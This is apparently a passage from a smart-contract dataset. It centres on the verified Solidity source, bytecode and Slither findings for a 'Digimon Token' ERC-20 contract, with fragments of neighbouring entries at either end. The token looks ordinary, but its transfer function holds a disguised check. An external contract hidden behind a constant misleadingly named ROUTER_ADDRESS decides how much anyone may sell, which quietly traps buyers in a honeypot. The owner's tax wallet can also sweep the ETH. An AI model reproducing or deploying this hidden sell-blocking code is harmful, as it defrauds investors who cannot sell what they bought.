f6d20746865207a65726f2061646472657373a2646970667358221220b18b489b0113923b65cb9e595e362333daafaabf99955fd4beb9f4bf8d88966964736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 8,115 |
0x30F3735b23E56ea939add2C2F88216B8E8566822
|
/**
*Submitted for verification at Etherscan.io on 2021-11-09
*/
//SPDX-License-Identifier: MIT
// Telegram: t.me/DigimonToken
pragma solidity ^0.8.4;
address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet
uint256 constant TOTAL_SUPPLY=100000000 * 10**8;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
string constant TOKEN_NAME="Digimon Token";
string constant TOKEN_SYMBOL="DIGIMON";
uint8 constant DECIMALS=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Digimon is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private constant _burnFee=1;
uint256 private constant _taxFee=9;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_taxWallet == _msgSender() );
_;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
_router = _uniswapV2Router;
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230a565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ecd565b61038e565b60405161014c91906122ef565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b604051610177919061246c565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7a565b6103bb565b6040516101b491906122ef565b60405180910390f35b3480156101c957600080fd5b506101d2610494565b6040516101df91906124e1565b60405180910390f35b3480156101f457600080fd5b506101fd61049d565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de0565b610517565b604051610233919061246c565b60405180910390f35b34801561024857600080fd5b50610251610568565b005b34801561025f57600080fd5b506102686106bb565b6040516102759190612221565b60405180910390f35b34801561028a57600080fd5b506102936106e4565b6040516102a0919061230a565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ecd565b610721565b6040516102dd91906122ef565b60405180910390f35b3480156102f257600080fd5b506102fb61073f565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3a565b610c6f565b604051610331919061246c565b60405180910390f35b34801561034657600080fd5b5061034f610cf6565b005b60606040518060400160405280600d81526020017f446967696d6f6e20546f6b656e00000000000000000000000000000000000000815250905090565b60006103a261039b610d68565b8484610d70565b6001905092915050565b6000662386f26fc10000905090565b60006103c8848484610f3b565b610489846103d4610d68565b61048485604051806060016040528060288152602001612abc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043a610d68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113039092919063ffffffff16565b610d70565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104de610d68565b73ffffffffffffffffffffffffffffffffffffffff16146104fe57600080fd5b600061050930610517565b905061051481611367565b50565b6000610561600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ef565b9050919050565b610570610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f4906123cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f444947494d4f4e00000000000000000000000000000000000000000000000000815250905090565b600061073561072e610d68565b8484610f3b565b6001905092915050565b610747610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb906123cc565b60405180910390fd5b600b60149054906101000a900460ff1615610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b9061244c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b230600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16662386f26fc10000610d70565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f857600080fd5b505afa15801561090c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109309190611e0d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099257600080fd5b505afa1580156109a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ca9190611e0d565b6040518363ffffffff1660e01b81526004016109e792919061223c565b602060405180830381600087803b158015610a0157600080fd5b505af1158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611e0d565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac230610517565b600080610acd6106bb565b426040518863ffffffff1660e01b8152600401610aef9695949392919061228e565b6060604051808303818588803b158015610b0857600080fd5b505af1158015610b1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b419190611f67565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c19929190612265565b602060405180830381600087803b158015610c3357600080fd5b505af1158015610c47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6b9190611f0d565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d37610d68565b73ffffffffffffffffffffffffffffffffffffffff1614610d5757600080fd5b6000479050610d658161165d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd79061242c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e479061236c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f2e919061246c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa29061240c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110129061232c565b60405180910390fd5b6000811161105e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611055906123ec565b60405180910390fd5b73690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ab9190612221565b60206040518083038186803b1580156110c357600080fd5b505afa1580156110d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fb9190611f3a565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a65750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b15760006111b3565b815b11156111be57600080fd5b6111c66106bb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123457506112046106bb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f357600061124430610517565b9050600b60159054906101000a900460ff161580156112b15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c95750600b60169054906101000a900460ff165b156112f1576112d781611367565b600047905060008111156112ef576112ee4761165d565b5b505b505b6112fe8383836116c9565b505050565b600083831115829061134b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611342919061230a565b60405180910390fd5b506000838561135a9190612632565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561139f5761139e61278d565b5b6040519080825280602002602001820160405280156113cd5781602001602082028036833780820191505090505b50905030816000815181106113e5576113e461275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148757600080fd5b505afa15801561149b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114bf9190611e0d565b816001815181106114d3576114d261275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153a30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d70565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161159e959493929190612487565b600060405180830381600087803b1580156115b857600080fd5b505af11580156115cc573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d9061234c565b60405180910390fd5b60006116406116d9565b9050611655818461170490919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c5573d6000803e3d6000fd5b5050565b6116d483838361174e565b505050565b60008060006116e6611919565b915091506116fd818361170490919063ffffffff16565b9250505090565b600061174683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611975565b905092915050565b600080600080600080611760876119d8565b9550955095509550955095506117be86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189f81611ae6565b6118a98483611ba3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611906919061246c565b60405180910390a3505050505050505050565b600080600060075490506000662386f26fc10000905061194b662386f26fc1000060075461170490919063ffffffff16565b82101561196857600754662386f26fc10000935093505050611971565b81819350935050505b9091565b600080831182906119bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b3919061230a565b60405180910390fd5b50600083856119cb91906125a7565b9050809150509392505050565b60008060008060008060008060006119f38a60016009611bdd565b9250925092506000611a036116d9565b90506000806000611a168e878787611c73565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611303565b905092915050565b6000808284611a979190612551565b905083811015611adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad39061238c565b60405180910390fd5b8091505092915050565b6000611af06116d9565b90506000611b078284611cfc90919063ffffffff16565b9050611b5b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bb882600754611a3e90919063ffffffff16565b600781905550611bd381600854611a8890919063ffffffff16565b6008819055505050565b600080600080611c096064611bfb888a611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c336064611c25888b611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c5c82611c4e858c611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c8c8589611cfc90919063ffffffff16565b90506000611ca38689611cfc90919063ffffffff16565b90506000611cba8789611cfc90919063ffffffff16565b90506000611ce382611cd58587611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d0f5760009050611d71565b60008284611d1d91906125d8565b9050828482611d2c91906125a7565b14611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d63906123ac565b60405180910390fd5b809150505b92915050565b600081359050611d8681612a76565b92915050565b600081519050611d9b81612a76565b92915050565b600081519050611db081612a8d565b92915050565b600081359050611dc581612aa4565b92915050565b600081519050611dda81612aa4565b92915050565b600060208284031215611df657611df56127bc565b5b6000611e0484828501611d77565b91505092915050565b600060208284031215611e2357611e226127bc565b5b6000611e3184828501611d8c565b91505092915050565b60008060408385031215611e5157611e506127bc565b5b6000611e5f85828601611d77565b9250506020611e7085828601611d77565b9150509250929050565b600080600060608486031215611e9357611e926127bc565b5b6000611ea186828701611d77565b9350506020611eb286828701611d77565b9250506040611ec386828701611db6565b9150509250925092565b60008060408385031215611ee457611ee36127bc565b5b6000611ef285828601611d77565b9250506020611f0385828601611db6565b9150509250929050565b600060208284031215611f2357611f226127bc565b5b6000611f3184828501611da1565b91505092915050565b600060208284031215611f5057611f4f6127bc565b5b6000611f5e84828501611dcb565b91505092915050565b600080600060608486031215611f8057611f7f6127bc565b5b6000611f8e86828701611dcb565b9350506020611f9f86828701611dcb565b9250506040611fb086828701611dcb565b9150509250925092565b6000611fc68383611fd2565b60208301905092915050565b611fdb81612666565b82525050565b611fea81612666565b82525050565b6000611ffb8261250c565b612005818561252f565b9350612010836124fc565b8060005b838110156120415781516120288882611fba565b975061203383612522565b925050600181019050612014565b5085935050505092915050565b61205781612678565b82525050565b612066816126bb565b82525050565b600061207782612517565b6120818185612540565b93506120918185602086016126cd565b61209a816127c1565b840191505092915050565b60006120b2602383612540565b91506120bd826127d2565b604082019050919050565b60006120d5602a83612540565b91506120e082612821565b604082019050919050565b60006120f8602283612540565b915061210382612870565b604082019050919050565b600061211b601b83612540565b9150612126826128bf565b602082019050919050565b600061213e602183612540565b9150612149826128e8565b604082019050919050565b6000612161602083612540565b915061216c82612937565b602082019050919050565b6000612184602983612540565b915061218f82612960565b604082019050919050565b60006121a7602583612540565b91506121b2826129af565b604082019050919050565b60006121ca602483612540565b91506121d5826129fe565b604082019050919050565b60006121ed601783612540565b91506121f882612a4d565b602082019050919050565b61220c816126a4565b82525050565b61221b816126ae565b82525050565b60006020820190506122366000830184611fe1565b92915050565b60006040820190506122516000830185611fe1565b61225e6020830184611fe1565b9392505050565b600060408201905061227a6000830185611fe1565b6122876020830184612203565b9392505050565b600060c0820190506122a36000830189611fe1565b6122b06020830188612203565b6122bd604083018761205d565b6122ca606083018661205d565b6122d76080830185611fe1565b6122e460a0830184612203565b979650505050505050565b6000602082019050612304600083018461204e565b92915050565b60006020820190508181036000830152612324818461206c565b905092915050565b60006020820190508181036000830152612345816120a5565b9050919050565b60006020820190508181036000830152612365816120c8565b9050919050565b60006020820190508181036000830152612385816120eb565b9050919050565b600060208201905081810360008301526123a58161210e565b9050919050565b600060208201905081810360008301526123c581612131565b9050919050565b600060208201905081810360008301526123e581612154565b9050919050565b6000602082019050818103600083015261240581612177565b9050919050565b600060208201905081810360008301526124258161219a565b9050919050565b60006020820190508181036000830152612445816121bd565b9050919050565b60006020820190508181036000830152612465816121e0565b9050919050565b60006020820190506124816000830184612203565b92915050565b600060a08201905061249c6000830188612203565b6124a9602083018761205d565b81810360408301526124bb8186611ff0565b90506124ca6060830185611fe1565b6124d76080830184612203565b9695505050505050565b60006020820190506124f66000830184612212565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061255c826126a4565b9150612567836126a4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561259c5761259b612700565b5b828201905092915050565b60006125b2826126a4565b91506125bd836126a4565b9250826125cd576125cc61272f565b5b828204905092915050565b60006125e3826126a4565b91506125ee836126a4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262757612626612700565b5b828202905092915050565b600061263d826126a4565b9150612648836126a4565b92508282101561265b5761265a612700565b5b828203905092915050565b600061267182612684565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126c6826126a4565b9050919050565b60005b838110156126eb5780820151818401526020810190506126d0565b838111156126fa576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a7f81612666565b8114612a8a57600080fd5b50565b612a9681612678565b8114612aa157600080fd5b50565b612aad816126a4565b8114612ab857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209eb9853915cfe66972c9dc8618fd3ec4aafd2cb18fdeff9c5cbd6f07fe712fe764736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,116 |
0x86Cc39E9f575667b56871274f2F0A3cC43B9eB88
|
/*
██████╗ ███████╗████████╗
██╔═══██╗██╔════╝╚══██╔══╝
██║ ██║███████╗ ██║
██║ ██║╚════██║ ██║
╚██████╔╝███████║ ██║
╚═════╝ ╚══════╝ ╚═╝
